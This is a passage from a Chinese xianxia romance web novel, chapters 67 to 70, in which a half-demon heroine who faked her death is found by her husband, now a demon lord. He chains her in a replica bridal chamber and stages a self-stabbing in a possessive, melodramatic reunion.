“阿婆,您信我。”姜喻蹲下身,握住阿婆布满老茧的手,眼神清澈坚定,“我一定把您平平安安送到天乩城。” 阿婆推拒再三,终究抵不过姜喻眼中的坚持。叹了口气,转身收拾出一个简单得不能再简单的包裹。 姜喻搀扶着阿婆,踏上了通往天乩城的漫漫长路。 她们整整五日跋涉,那座巍峨城池的轮廓总算是遥遥在望。 刚踏上通往城门的官道,姜喻察觉到异样。 官道上人影绰绰,竟有许多人从四面八方涌向天乩城。上一次见,是匆匆涌出城,那时天乩城内邪祟作乱。 姜喻怕被故人认出,迅速抓了把尘土胡乱抹在脸颊上,又小心地将周身妖气收敛得。所幸,路上匆匆的行旅多是凡人,鲜有修士踪迹。 刚到城门口,姜喻的心就沉了下去。 城门处甲胄森严,守卫如临大敌,对每一个进城之人严加盘查,验明正身,不放过一只妖邪。 绝不可暴露妖族的身份。 姜喻扶着阿婆,不动声色地退到城外一处简陋的茶摊暂歇。 她端着碗啜了口劣茶,耳朵敏锐地捕捉着邻桌几个彪形大汉的交谈。 他们粗声大气,话语间反复蹦出同一个词——魔域。 “听说了没?魔域那鬼地方三年前重开,迎回了他们那位神龙见首不见尾的魔主大人。” “那可不,连修士都是人人自危,听闻这魔主大人喜怒无常,啧,妖邪汇聚去了,以后这世道怕是变天了……” 姜喻起初不在意,可魔主的字眼让她一愣。 阿婆虽老眼昏花,将姜喻的为难与踌躇尽收眼底。轻拍上姜喻的手背,低声道:“小姑娘,眼看就要进城了,你可是有什么难处。若是不便,老婆子我自己进去寻他们便是……” “阿婆,我……”姜喻指尖微微收紧,后面的话堵在喉咙里。 她的目光不由自主地再次投向几个谈论“魔域”的大汉,心头疑云密布。 不祥的预感蔓延。 他们不会说的魔主大人是沈安之吧…… 成魔黑化,任务失败…… 按照“姜喻”的原著结局来讲,她好像预见一盏明晃晃的人皮灯笼了…… 不行不行,决不能让沈安之知晓自己还活着。 姜喻攥紧濡湿的拳头,抬眸看着阿婆抱歉一笑:“阿婆,我送您到城门口,我就不进城了。” “小姑娘,这一路多亏有你。”阿婆展露一笑。 姜喻掺扶阿婆安全抵达城门后,直到阿婆笑着和蔼地挥手进了城,身影消失,她方才掩藏住身形,小心地混在人群里离去。 她打定主意先探听消息,活下去比什么都紧要。 姜喻一路身无分文,只得靠沿途除妖换取微薄报酬,多是风餐露宿,好在功夫不负有心人,她走走停停,终于挨近风云城地界,在一处小镇外歇脚。 路上顺手救了个被精怪纠缠、吓得面无人色的落魄书生李温,从他口中打听得知,风云城少城主,也就是她,已在三年前的大婚之夜殒命。 “这位少城主死在大婚当夜,也是红颜薄命可怜人。” 李温压低了声音,“可怪事在后头。这城主府停灵不过几日,棺椁连同新姑爷一夜之间凭空消失,再无踪迹。风云城派出人手四处找寻,你猜怎么着?” “怎么说?”姜喻拿起果子递给他,倒是好一个卖弄玄虚。 李温咬了一口,才不疾不徐地开口道:“三年里音信全无。风云城内这姑爷的名字已甚少有人提起,成了一种讳莫如深的禁忌了。” 姜喻这才清晰意识到,原来她的“死讯”已传了三年,沈安之竟也同样消失了三年…… 匆忙地吃掉最后一口,姜喻起身拍去裙摆草屑,“我该走了。” 李温看了眼庙外的倾盆大雨,起身焦急地劝阻道:“这雨怕是一时半刻停不了,姑娘何必着急?” 姜喻还未开口,妖气已翻涌而至,凝成实质的黑雾,弥漫在破败的梁柱、神像。 “完了完了,狐妖追来了。”李温整个人缩在神像底座后,吓得瑟瑟发抖。 姜喻心疑,眼望向门外倾盆的雨幕。只见一点火红撕如离弦之箭穿透雨帘,紧随其后的是数十双在幽幽闪烁的狐瞳。 “还没有妖能从我爪下抢走猎物,你这小小鸟妖受死吧!” 利爪擦着姜喻的耳际掠过,姜喻险险躲开,可还是被削断几根发丝。 李温一听“鸟妖”二字,除开他自己,在场就只剩姜喻,吓得竟连滚带爬地往庙雨幕外冲。 “别动!”姜喻心头一紧,厉声喝道,“当心狐妖!”话音未落,红影已从四面八方涌来,将小小的破庙围得水泄不通。 “先顾好自己的命吧。”为首的狐妖娇笑一声,出手狠辣。 小小的破庙不堪重负,在雨幕中轰然坍塌。 大雨滂沱,模糊了她的视线。妖力激斗之下,体力飞速流逝,她动作迟滞时背后杀意逼近。 她能感觉到利爪撕裂空气的锐响,可预想中的剧痛并未降临,身后只传出一道凄厉的惨叫。 妄想偷袭的狐妖竟如枯叶般,倒飞出去,重重撞在残垣断壁上。 姜喻猛地转身。 雨幕中,一道颀长身影,不知何时立于废墟之上。 玄色华袍在风雨中纹丝不动,好似连雨水都畏惧他,绕开他。他指尖漫不经心地捻着一枚铜钱,唇边噙着若有似无的笑意,眸光却直勾勾地落在她身上。 “好久不见,可是让我一番好找,我的……师姐。” 方才气焰滔天的狐妖们,此刻像是被钉子钉在了原地,齐刷刷伏低身体发出呜咽声,瑟瑟发抖。 沈安之阴鸷的眸 光转而瞥向狐妖们,他未出手时已有数道黑影极快闪过。 不过一眨眼的功夫,无数只妖从他身后解决了这场战局。 妖群中,沈安之独独掐住为首的,那只企图偷袭她的狐妖。 他幽暗的眸光一眨不眨看向姜喻,手上动作狠厉又慢条斯理。 那狐妖的求饶声未起,匕首落,血花溅,他没有特意避开。 丢开妖尸,沈安之隔着雨幕望向僵住的灰影。 妖云自他现身的刹那,于天穹无声地翻她涌汇聚,妖气漫卷而来,污秽之气冲天蔽日,雨幕后更是重重黑影。 隔着距离,姜喻看不清晰。 眉心坠魔印,身侧妖仆早已无声地昭示一切。 姜喻缩了缩紧绷的肩膀,手指无声收紧,连呼吸都下意识屏住,垂下眸刻意避开目光,考虑该从何处能跑。 她干笑两声,身形往后退了一步,“确实是,好久不见……” 沈安之见她退后的动作随之蹙眉,嗤笑一声,察觉出姜喻意图,眼含怒火。一步步走出妖群,面色苍白,乍看阴森可怖。 “你想逃去哪?” 第68章 大雨滂沱,雨幕细密如针。 沈安之手腕绑着的绯红发带,比他的眼下朱砂痣、眉心坠魔印都尤为刺目。 他攥紧拳,将发带尾端扯开,一圈圈缠在掌心,眼底疯魔有些挣脱出,眸光又炙热又阴鸷笼罩她。 衣袍沾血,眸光渐幽深,无形的上位者压迫感挟着冷雨的寒意,脚步一步步向她逼近,“还是说,你打算再离开我身边?去哪了告诉我?嗯?” 嗓音低沉喑哑,最后的几个字眼,他语气微顿,说得颇是咬牙切齿。 姜喻禁不住往后退了一步。 造业啊,黑化的黑莲花更吓人了。 她大脑疯狂运转该,怎么找个合适的借口安抚一下他。 沈安之到底怎么找到她的? 她不仅换了一身掩人耳目的朴素衣着,还把自己的动向克制的谨小慎微了。 “我没打算去哪啊,我一醒来就活了,沈安之你信嘛……”姜喻说完自己都不信,懊恼地咬唇闭了闭眼。 “那你退后什么?”沈安之嗤笑一声,语调漫不经心又带着几分肆意不羁。 眼看姜喻又一次退后的步伐,眼中瞬间阴郁暗沉,猩红一片,闪身划破雨幕赫然出现在她眼前。 只差一步就可靠近她。 姜喻被迫仰起脸眨了眨眼,直直撞进沈安之那双沉渊般的眸子里。 雨水顺着她颊边湿透的发丝滚落,些许被她傍身的妖力弹开,细碎水珠飞溅。更多的却是黏上她的鬓发,蜿蜒着贴上脸颊。 “诓骗我,你觉得,我会让你走吗?”沈安之看她狼狈样子紧锁眉,打了响指将雨隔开。 他压下眼底翻涌的疯魔,负手俯身弯腰与她平视,嘴角掀起不羁邪性地一笑。可他背在身后的手却狠狠地捻动,逐渐拢成拳才倏然吐出一口浊气。 在他靠近时,姜喻已有想逃跑的念头,眸光紧盯他的动作。 可沈安之只是抬手捻动她鬓角的发丝,带着别样又诡异的温柔,将其别到耳后。 指腹缠住她的一缕青丝,嗓音低哑:“师姐可知,你坟头的土,我尝了一千零九十五遍……才知你根本没死。” 姜喻心惊地肩膀轻颤,掌心蓄起的妖力还未凝结,沈安之攥上她的手腕强行打断,耐心地摩挲凸起的腕骨,“对我出手?嗯?” “没、没。”姜喻咽了咽口水,被一扯轻带入他怀里,她挣扎对他来说那和撒娇没什么区别。 他压下心底因她想逃离自己念头的怒火,轻抬起她下颌,让她不得不直视他。 “我可不会再给你第二次机会离开我身边,师姐。哦,不对,应该说是——夫人。” 沈安之袖口红芒一闪,一道殷红细线猝然穿透她心口血肉。 “呃!”姜喻闷哼一声,心口仅刺疼一下。 她不敢置信地垂下眸,眼睁睁地看着她没入心口的诡异红线,尾端正缠绕在沈安之修长的小指上。 “沈安之!你在做什么?!这是什么东西?”对未知的东西恐慌一瞬,姜喻猛地挣扎,指尖却穿透过红线,转而企图挣脱青年宽厚手掌的钳制。 “锁心线。”沈安之低笑,眼底翻涌着病态又满足的暗色。 他手臂发力,不容抗拒地将姜喻死死锁进怀中,下颌抵着她微凉的发顶。 不顾她徒劳的挣动,他一手耐心地一点点梳理她散乱的青丝,垂眸凝视她惊吓而褪去血色的脸颊。 另一只手掌带着不容置疑的力道,缓缓覆上她起伏的心口,指腹甚至能感受到急促的搏动。 沈安之喉间溢出低哑的轻哄,带着一丝不易察觉的安抚:“这回你逃不了。” 他怎么黑化成疯批啦?! 姜喻脑中警铃大作,惊惧和羞怒交加,扬手一记耳光扇在他下颌。 “啪!”一声脆响。 妖群不乏耳目清晰者,齐刷刷地响起倒吸一口气声。 姜喻掌心微微发麻,紧紧攥成拳,指尖掐进掌心,心头顿时后悔懊恼。 ——完蛋,刚才冲动了。 沈安之被打得微微偏过头去,嗤笑一声,比痛意先来的是她掌心的熟悉馨香。 他非但不恼,反而笑着转回脸,眼底翻腾的暗色更浓。 沈安之俯身箍紧她的腰肢,将姜喻打横抱起。那力道带着绝对的压制,瞬间抚平了姜喻企图躁动的微弱妖力。 看着她瞪大的眼眸,沈安之眸中恶劣的笑意加深,低下头,一个吻重重落在她唇上。 “不够疼啊,夫人。”沈安之舔了舔被扇得微麻的唇角,气息灼热地拂过她唇瓣,嗓音低哑,充满无形的蛊惑,“要不夫人再来一次?” 姜喻彻底僵住,连挣扎都忘了。??? 沈安之,那个素来傲气肆意的他,被她当众掌掴,非但没有暴怒反制,反而笑了? 这太不对劲了! 这对吗? 姜喻被他按紧在怀里,他身上爆发出熟悉的妖力混杂着魔气流转,她眼前一花,困倦地闭上眼,软倒在他横抱中。 沈安之将她越发抱紧,身后妖群没有谁胆敢催促他。 他下颌眷恋地轻蹭在姜喻发顶,被取悦般弯唇一笑。 这一次,你休想离开我…… * 迷迷糊糊地意识回笼,姜喻醒来已身处在一处黝黑的未知地方。 待她勉强适应这片幽暗,四周却陡然亮一盏接一盏的烛火次第燃起。 摇曳的烛光下,她看清四周,熟悉的景象撞入眼帘。 燃烧的龙凤喜烛,垂落大红幔帐…… 竟与三年前,沈安之亲手布置的婚房一模一样。 姜喻低头,身上不知何时被换上了一套崭新的喜服,比当年沈安之绣的那件更为华美精致,针脚细密,每一处都精心设计,金线织就的重明鸟在红绸上振翅欲飞,头上有珠花随她晃动的清响。 谁给她换上的? 姜喻心底一惊,下意识脚踝一动要起身,金属摩擦声“当啷”响起。 姜喻侧眸,一条轻巧的锁链盘绕在地,另一端深嵌床榻底部。 锁住她纤细脚踝的镣环内,体贴地衬了一层雪白柔软的皮毛,确保不会磨伤她脚踝分毫。 这份“周到”只让姜喻心惊更甚,吓得坐起身,指腹沿着链身摸索。链条看似粗重,分量却意外地轻巧。 她咬着唇,试探地用力向外拉扯。哗啦一声,链条瞬间绷直。站起身飞速朝木门走去,铁链长度卡的正好,让姜喻伸长手难以推开这扇门。 沈安之这是怕她逃走不成? 念头刚起,不经让姜喻浑身瑟缩了一下,有些害怕地对着门外大声喊道:“沈安之,你给我出来!” “夫人,唤我?”声音带着慵懒的笑意,紧贴着她身后响起。 姜喻快速转身,只见沈安之不知何时已如鬼魅般,负手静立于身后。 三年时光已逝,他已过弱冠之年。 青年挺拔身姿颀长,一身与她相配的殷红喜袍,衬得面容愈发丰神俊朗,丹凤眸下小巧朱砂痣妖冶,透着一种 动人心弦的俊,和雌雄难辨的三分邪气,带着一丝诡谲。 姜喻心神荡漾一瞬。 ——老天奶,她这没出息的样子…… 沈安之幽深的眼眸如同不见底的寒潭,将她从头到脚,寸寸逡巡,最终定格在她因羞愤而染上薄红的脸颊上,弯唇一笑。 “你究竟想做什么?” 沈安之低笑一声,笑意不达眼底,将她一举一动从头描摹到脚,故作无辜道:“我能做什么,不过是替夫人换上了我新做的嫁衣,描了眉,簪了花。” 他指尖虚虚掠过她发间一支流光溢彩的蝴蝶珠花,声音温柔似水,“夫人可喜欢我今日挑的这支?配你,极好。” 姜喻脸颊“腾”的一下红了,瞬间滚烫,羞愤地攥拳,他怎么能这么落落大方,如此理所当然地讲出来。 “三年前你死了,死在大婚,”沈安之向前一步,阴影将她笼罩,声音轻得却像叹息,“如今既归,这未完之礼,自然要续上。” “我不要继续。”姜喻几乎是脱口而出。 她带着些破罐子破摔的想法,都任务失败了,大概是不用攻略沈安之了。 可当她的目光对上沈安之那双深不见底的丹凤眸,他仿佛洞悉一切。 一股心虚攫住了她。 姜喻下意识地移开视线,指尖蜷缩起来,方才强撑的气势漏了个干净。 沈安之不紧不慢地将手中食盒,搁放在桌面,端正坐下,压抑着眸底闪过的暗色:“夫人,不尝尝?” 姜喻犹豫再三,终是慢腾腾地挪到沈安之对面坐下。 木制食盒的盖子被她轻轻揭开,一股久违的喷香猛地撞入鼻腔——笋烧肉、番茄炒蛋……全是她喜欢的菜。 这段时日姜喻在外风餐露宿,几乎吃的是些不饱腹的野果。她实在不会做饭,即便是侥幸猎到什么,经她的手一烤,也焦黑得难以下咽。 此刻,那馥郁的香气几乎勾得她喉头发紧。 她抿紧唇瓣,目光不由自主地放在沈安之骨节分明的手上,看着他慢条斯理,一碗又一碗地将热气腾腾的饭菜端出,摆放在眼前木桌上。 四菜一汤,氤氲的热气模糊了对面那人过分昳丽的眉眼。 他将一副玉箸和碗碟在她面前摆开,眼波流转,落在姜喻掩饰不住眼巴巴等着投喂的脸上,暗自一笑:“我做的,夫人尝尝看。”尾音末了,下颌微扬,示意她继续。 姜喻实在是没骨气地眼馋着。 她刚刚才冲沈安之发了脾气,两人见面到现在更没什么温情可言,她凭什么温柔小意得听他的。 心里顿时难以言喻地别扭,肚子憋着火气,又不争气地“咕噜”一声叫。 声音不大,足够对面的沈安之听清。 姜喻脸颊泛起一层浅薄的霞红,又娇羞又愤慨,最后化作一声尬笑,垂眸嘴硬地嘟囔道:“我才不吃了。” 她咬了咬下唇,顾不得沈安之什么反应,极快起身欲坐回床榻上去。 反正,眼不见,心不烦。 沈安之眼底暗芒掠过,长臂一揽便箍住姜喻的纤腰,不容分说地将人提起。 她只觉天旋地转,待到回神,整个人已经跌进沈安之怀里,双腿更是被迫分开,跨坐于他劲瘦的腰间,被他铁铸般的手臂牢牢禁锢腰身。 沈安之眸光一眨不眨,瞧着姜喻惊慌失措的抬眸,乱动时,她脸颊先忍不住一红。 眸光清亮,闪烁微光,亦如他三年日日夜夜,午夜梦回时那一双良久注视的妍丽眸子。 此刻像只受了惊吓的小红雀,第一时间便是要从他“掌心飞走”。 沈安之偏偏不给她机会。 温热宽大的手掌覆上姜喻脆弱白皙的脖颈,轻柔拖着她的下颌。 第69章 他仰面喝了一口酒,沾着酒液的唇毫无征兆地压下来,耐心地撬开姜喻微阖的唇齿。 姜喻呼吸一滞,反抗地咬紧牙关,可沈安之指腹摩挲过她的腰窝,下意识得痒的忍不住张口。 他顺利得将温热的酒液一口接一口渡进姜喻口中,唇齿间带着他灼人的气息和酒香。 姜喻喉间溢出呜咽,下意识想躲开,却被沈安之温热的指尖捏住下颌,轻轻抬起。 姜喻没有被酒液呛到,多亏沈安之微抬她下颌。 呼吸几乎被夺去的刹那,液体也下意识被她滑入喉中,一一吞咽下去。 吞咽下时会产生一种奇妙的吮吸感,沈安之隐忍着眼圈微微泛红,舌尖依依不舍地脱离温软之地。 指腹安抚似的摩挲着她泛红的下颌,幽深晦暗的眸光看向她泛着水光的唇瓣,低哑的嗓音,裹着酒气道:“不打算吃些东西,我们便将合衾酒再喝一遍,夫人。” 姜喻揪着他胸前衣襟,唇瓣微张,气喘吁吁,眸底洇着水汽,湿漉漉得仰面看着“罪魁祸首”。 “你干嘛!” 沈安之心底难以言喻地一种渴意油然而生,只觉得姜喻此刻在他怀里迷人蛊.惑至极。 他垂首,唇瓣似有若无地蹭过她的脸颊,“我在亲夫人,不是吗?” “谁要听这个。” 眼见他垂眸眸光游移在她唇上,俨然一副“兽心大发”,恨不得要把她吞吃下去似的暗笑。 醉意和羞涩所带的红晕一同攀上脸颊,姜喻赶紧改口:“我吃,我饿了,沈安之。” “唤我安之。”沈安之看她这般直白唤他姓名有些不满意,吻在她微红的脸颊,在啄吻她唇瓣却倏然停下。 他明显察觉姜喻呼吸一乱,轻笑一声盯着她的眸,侵略性十足。 “不改口,我便一直亲,直到夫人改口为止……”他低沉的嗓音裹着笑意,薄唇压在她唇角,温热的触感如羽毛轻搔,眼神深邃似透着无声地诱哄。 姜喻被他圈在怀里,感受着灼人的气息和唇角的微痒,心知这沈安之说到做到。眼珠骨碌一转,索性放弃挣扎,嘴巴一瘪,带着点委屈似的,煞有介事地捂上平坦的肚子: “安之,我饿了,饿得前胸贴后背啦,吃,现在就吃!” 她仰起脸,清澈眸子映着烛光,语气理直气壮,仿佛刚才那番旖旎全然不及一碗热饭重要。 老话说的好啊,识时务者为俊杰。 姜喻无意识地扭了扭腰肢,衣料摩挲和衣袍的触感带来一阵恼人的痒意,像羽毛时不时搔刮过沈安之的心尖。 他扣在姜喻腰间的手指缓慢收紧,喉结滚动,眸底深处看似平静的墨色翻涌起危险的暗流。 几乎要拨乱名为理智的弦。 姜喻恍若未觉,直直望进他翻涌的眼底,故作不满地瞪他一眼:“对着你,我怎么动口?” 下一刻,沈安之手臂发力,箍着纤细腰肢将人整个捞起,姜喻顺势背对坐入他怀中。 温香软玉盈了满怀,沈安之立刻从背后收拢双臂,严丝合缝地将人锁在胸膛与桌案之间,下颌抵着柔软的发顶,喉间溢出餍足的低叹。 这力道,是一刻都不想撒手。 “如此,夫人总该吃得下了。”沈安之嗓音喑哑,下颌压在她颈侧,吐息似有若无地拂过敏感的耳垂。 姜喻严重怀疑沈安之故意为之,但苦于没有什么实质性证据。 她偏了偏头,想从那过分紧贴的怀抱里挣开一丝缝隙。不料腰间的手臂收紧,将她更深地禁锢在他怀里。 “你不打算放开,自己尝一些吗?”姜喻颇为无奈地提议,恨不得沈安之现在便放开自己。 察觉出姜喻的意图,沈安之眸子暗下去,“我就不用了。” 姜喻无语地执起玉箸,心不在焉地小口吃了两下。见他不依不饶,终是耗尽耐性,索性破罐子破摔,一不做、二不休地摆烂似的任他抱着。 她刻意将吃饭的动作放得极缓,想磨尽身后人的耐心,偶尔挣动一下试图躲开气息。 然而回应她的,是耳畔一声沉过一声,逐渐粗重的呼吸,沈安之的手自然迟迟不见松开的痕迹。 耳畔气息滚烫,灼热得缠绕上来,将她密不透风 地裹住似的。 一点薄红瞬间爬上她的耳尖。 姜喻恨不得反手揪着他的衣襟叫他放开,但她“吃人的嘴短”,加上实在没有这个胆啊。 红晕还未来得及彻底蔓延,沈安之眼尾微挑,敏锐地捕捉到这诱人的绯色,眸色深了深。 他故意似的用薄唇若有似无地蹭过莹白的耳垂,呼吸激得姜喻肌肤顿时激起细小的战栗。 姜喻心里揣着一只绯红的小雀,上下怦怦直跳,眸光闪了闪,羞恼、怒气、慌张一时杂糅在一起。 ——这斯绝对是故意的吧,能不能让她好好用餐了。 “沈、安、之!”她一字一顿,嗔怪地回眸瞪他一眼,却是眼前一微暗,温热的唇轻轻落在自己眉心。 沈安之停留了一瞬,颇是不舍得离开,垂眸歪了下头,狡黠一笑,一副明知故问地无辜模样:“夫人,吃饱了么?” “没有。”姜喻回首看着菜碗,执玉箸夹菜狠狠咬下一口,似是这样就能咬在沈安之身上一样。 她小口咀嚼,下意识单手轻搓了搓眉心处,那里似带着一股酥酥麻麻的痒意,让她心底的不快都悄然冲淡了几分。 她故意抬高声音,带着娇憨似的警告:“你规矩些,我还没吃好,不许动手动脚。” 他的下颌轻轻抵在她柔软的发,烛影摇曳,映着侧脸如玉的轮廓。像汲取她身上暖意的猫儿,带着几分魇足,时不时用脸颊蹭过乌黑的发丝。 他鼻尖萦绕的是她发间馨香,这味道早已刻入骨髓,令他三年无数个日夜辗转反侧。 此刻嗅着这令自己安宁的香气,他如躁动不安的凶兽,温顺地垂下了头颅。 所有的疯魔都在她气息的包裹下蛰伏、敛藏,此刻,甘愿将一切掌控交予她手,任她予取予求。 “好,听夫人的。”他嗓音带着餍足的沙哑。 话音落下,沈安之果真安静下来,只是那环在她腰间的手臂却收得更紧了些。 姜喻被他圈在怀里,奇异的生出几分安心,索性不管他,自顾自享用着。 直到七八分饱,满足地放下玉箸,姜喻推了推紧箍自己的手臂,“我吃好了,你快放开我吧。” 沈安之低哑哼笑一声,“可我还没吃了。” 姜喻狡黠一笑,嘴角微扬,眼底带着一丝别样的笑意和得意,“我事先问过你了。” 语气顿了顿,笑着摇头故作可惜道,“这里只有我的剩饭剩菜了,你还是出去吃吧。” 沈安之怎么可能看不出姜喻打定的主意,见她这是要把他赶出门去,眸底躁动地猩红一片。 他垂首轻啄在她耳后肌肤,怀中人儿果然瞬间僵住,纤细的脊背绷得像一张拉满的弓。沈安之这才满意,不紧不慢地得逞一笑。 “我想吃什么,夫人,还看不出么?”沈安之温热的呼吸拂过姜喻颈侧,长臂一抄,将她打横抱起,步履沉稳走向铺着大红鸳鸯锦被的床榻。 “春宵一刻,良辰苦短。” 姜喻绷紧心弦,指腹捻了捻袖口,一点绯红妖力的微光在指端悄然凝起,虚虚抵住沈安之颈侧跳动的脉搏,眼神心虚地飘忽,蝶翼般的长睫急促地颤了颤:“松手。” 沈安之眸色渐沉,将她轻柔置于锦被之上,高大身影覆下,带着一丝压迫感。 第70章 一手擒住她的手腕按在枕畔,另一只手慢条斯理地拂开她颊边散落的发丝,声音低哑而危险:“夫人想要我的命,我给你。” 姜喻微睁大眸,心中被无形的一只手猛地攥紧,脑海第一瞬想到竟是三个字——“不可以”。 沈安之掌中翻涌起黝黑魔气,缠绕着一缕姜喻再熟悉不过的绯红妖力,瞬息间凝成一柄森然的匕首。 她惊坐起身,瞳孔紧缩,指尖轻颤,本能地想要稳住发抖的手往身后缩。 沈安之却不容姜喻退缩,温热的手指攥住她的手腕,强硬抬起来将她纤细的手包裹在掌心,死死按在凝聚着两人气息的匕首刀柄上。 没有半分犹豫,他牵引着她的手,决绝地刺向自己心口。 “不可以!”姜喻的心几乎跳出嗓子眼,手臂猛地往回一挣。 沈安之似早已预料,在姜喻发力的瞬间,铁箍般的手臂陡然收紧,将她死死地纳入怀中。 “噗嗤——”利器撕裂锦帛的声音响起。 温热的液体瞬间洇开,在他胸口晕染出一朵刺目的血花。 “你!”冰冷的刀柄紧贴着姜喻的掌心,她脑中一片空白,却在被他抱紧的刹那,体内蛰伏的妖力轰然爆发,顺着刀柄狠狠贯入。 “嗡——”凝聚着魔气与妖力的匕首,在她掌心之下,硬生生被妖力震碎。 细小碎光被妖力硬生生拔除,迸溅的碎片落在地面,殷红的血珠顺着碎开的衣料边缘滴落在地。 烛火不安地跳动,墙壁上拉长着两道纠缠的影子。 刀锋早没入沈安之胸膛一寸,血洇在他的喜服上。他眉心微蹙但一声未吭,只抬起深不见底的眸子,沉沉锁住姜喻那双惊骇而睁大的眼。 姜喻心尖一颤,抬手捂住他的伤口,掌心瞬间被温热液体浸湿。指尖禁不住发抖,声音带着自己都未察觉的焦急:“沈安之,你疯了……” 沈安之低笑一声,手臂如铁箍将她死死按在怀中,牵动自己伤口都毫不在意。 感受到姜喻真切的惊慌,眼底掠过近乎餍足的微光,唇角难以抑制地扬起。 染血的手指带着安抚的意味,轻轻拂过她的秀发,低哑的嗓音响起:“我的命,夫人想取便取。只是,”语气顿了顿,他眼神灼热,“它从来只肯给夫人一人。” 血腥味霸道地钻入姜喻的鼻息,竟诡异地缠绕着惑.人心神的异香。她被强行按在他肩头,沾满温热的手无处安放。 奇异的香气丝丝缕缕混着血腥,搅得姜喻心神恍惚,恨不得凑的更近一些。 烛影摇曳,姜喻隐忍着作为妖性本能的冲动,抬起洇着水汽的眸子,故作不满地觑他:“你快放开我,不然,小心我咬你。” 抗拒的声音带着微颤,这般灵动的模样,沈安之眸光雀跃地闪了闪。 他真是爱看极了,活生生的她就在眼前。 姜喻徒劳地轻推沈安之胸膛,手腕却被沈安之轻松一捉,一手钳两手,反剪在她的身后。 她未及反应,温柔的唇带着不顾一切的冲动覆下来,濡湿纠缠间,彻底封缄了姜喻所有未尽的言语。 “唔……” 沈安之不顾胸前伤口,这次吻得又急又深,带着甘之如饴的“欲”与“疯”。 唇齿间的颤栗,终是让姜喻找回一点清明,羞恼交加下贝齿微用力,沈安之下唇便真让她咬破。 呼吸微滞,姜喻抬眸眸底清亮是那般无辜,小声腹诽:“我说了,我真的会咬你。” 血腥味缓缓弥漫在唇齿相依,沈安之舔了舔唇角轻笑。 姜喻刚松一口气,却被他又覆下来的吻几乎用力的搅动舌尖,血液一一被迫让她吞咽下去。 一吞入腹,似是带来全身难以言喻的热气。 她大脑要宕机了。 前所未有的欢愉从丹田蔓延至全身,理智下每一个细胞都在亢奋的叫嚣着——“再多一些”。 对比她之前吞下沈安之血液时的反应,似乎三年后,再一次闻见尝到更让她体验到何种是“失去掌控的理智”。 “够了,安之。”姜喻不得不地出口劝阻。 预想的退却没有发生,沈安之唇上痛楚反而如同火星溅入干柴,瞬间点燃了沈安之眼底更深的疯狂。 “不够。” 指腹轻抬下颌,摩挲着她颈侧细腻白皙的肌肤。非但没有就此罢休松口,吻势反而更深入,带着无尽的贪婪。 直到姜喻因吞咽着他的血过多,加之呼吸 逐渐稀薄,双眼发散似的迷离,沈安之才依依不舍地退出了坚守的城池。 失神的眸子逐渐聚焦,换回一点清明。方才的推搡让她嫁衣领口歪斜滑落,露出一线白皙如雪是肌肤,在嫁衣红绸映衬下晃得人眼晕。 她唇瓣残留着未褪的红肿,带着细微刺痛,不得不微微启唇,急促喘.息。试图平复胸腔里翻腾的气息,对此刻的狼狈与泄露的春光浑然未觉。 沈安之鸦羽般的长睫颤抖垂下,喉头剧烈地上下滚动,眸色深沉了下去。 他悄然松开了手,姜喻慢慢回神后,见沈安之胸口处刀伤没在流血,暗自松了一口气,“你要不,先把伤口包扎一下,血腥味太浓了。我是妖,哪怕是半个……”也受不了这样。 沈安之敛眸,唇角微勾。 她真是没发觉自己早已褪下一层防备…… 她从未变过。 他魇足低低一笑,拢了拢鬓角碎发,眸光掠过姜喻微肿的唇角一路向下看去,温情地啄了一口才压制着眼底晦暗的燥热。 “夫人,喜欢我的血吗”沈安之声音带着一丝不易察觉的引诱。 姜喻嗓音微哑:“不喜欢。” 目光落在他唇上的伤口,姜喻心头一紧,下意识想避开心慌的画面,眼底飞快掠过自己未察觉的心疼。 谁会喜欢看人流血 尤其……是他。 这话落入沈安之耳中却成了另一种拒绝。 沈安之眸底的微光悄然沉了下去,一丝受伤划过,快得几乎他抓不住。 他吐出一口压抑的浊气,又换上惯有的散漫笑意。指尖随意抹去唇角的残红,试图掩在漫不经心的表象下。 当他目光再次落回姜喻脸上时,散漫的笑容一僵。 她方才吞咽时,一滴血珠曾不慎滑过唇角,此刻那片被沾染过的肌肤,晕开一片秾丽的霞色,如同雪地里绽放的梅,灼灼生辉。 与她强装镇定的眼神形成了鲜明对比。 沈安之眼底的墨色翻涌,心里的受伤迅速被一种得逞后的笑意取代。 口是心非的模样,她这话,本身就半点说服力也无。 狡黠暗笑,牵引姜喻的手一点点为他褪下衣衫,“那就有劳夫人了。” 姜喻莹白的耳垂悄然晕开一抹霞色,指尖被他掌心的温度困住,挣动不得。 沈安之衣衫如剥落的洋葱,褪至腰际,露出的肌理紧实流畅,哪里还是三年前青涩单薄的少年郎? 分明是……八块分明的腹肌。 不对……打住。 姜喻甩头,将脑海里不合时宜的念头驱散,目光强行落回他心口曾经狰狞的旧疤上。 亲手炼制的抑晦丹果然不负苦心,日夜炼制,加上她的妖丹,那道可怖伤口此刻只剩柔色的新痕覆在旧创之上。 而他刚刚硬要他刺去的地方,翻卷的血肉不再汩汩涌出暗红。 饶是如此,景象依旧刺目。 姜喻做不到视若无睹,习惯性地、极轻地触上伤口边缘,触感下是蕴藏力量的肌骨。 她下意识环顾四周,想寻些干净的布帛替他裹伤。 沈安之眼中闪过微光,姜喻无暇细辨他的神情,正欲开口,一只骨节分明的手已递来一只玉瓶。 姜喻下意识接过,指尖与他皮肤短暂相触,心尖一颤,未及多想,瓶中药粉簌簌抖落,直到药粉均匀覆上包扎好,她才后知后觉地定住动作。 “为什么这么不爱惜自己的身体?” “我不愿夫人惧我。”沈安之嗓音低哑。 他垂眸,取出一方素白手帕,指尖耐心地,一点点拭去姜喻指缝间残留的药粉,“夫人,不要惧我。” 这般的沈安之透出难掩的委屈。 姜喻心底猛地一紧,指尖轻颤,下意识地捻搓着袖口,试图借此掩饰几乎要差点破胸而出的悸动。 沈安之果真敏锐如斯,这一点,倒真是一点没变。 长睫低垂,沈安之声音轻得像是怕惊扰了她: “夫人,三年前也好,三年后也罢,有件事,我从未变过。” 他抬起眼,目光炽热,“我此生只心悦一人,姜喻。风云城的少城主,亦是鹤门宗最有天赋的炼丹师。” 酸涩毫无预兆地冲上鼻尖。 姜喻眼尾洇开一片薄红,眼眶蓄满的湿意再也承载不住,凝成泪珠一颗颗滚落下来,砸在沈安之执帕的手背上。 “……” 姜喻喉头哽咽,千言万语,却一个字也吐不出。 “夫人不说之事,我便不问。”沈安之轻叹一声,手臂收拢拥她入怀。温热唇瓣吻去她颊边的泪珠,动作珍视得仿佛在对待稀世珍宝。 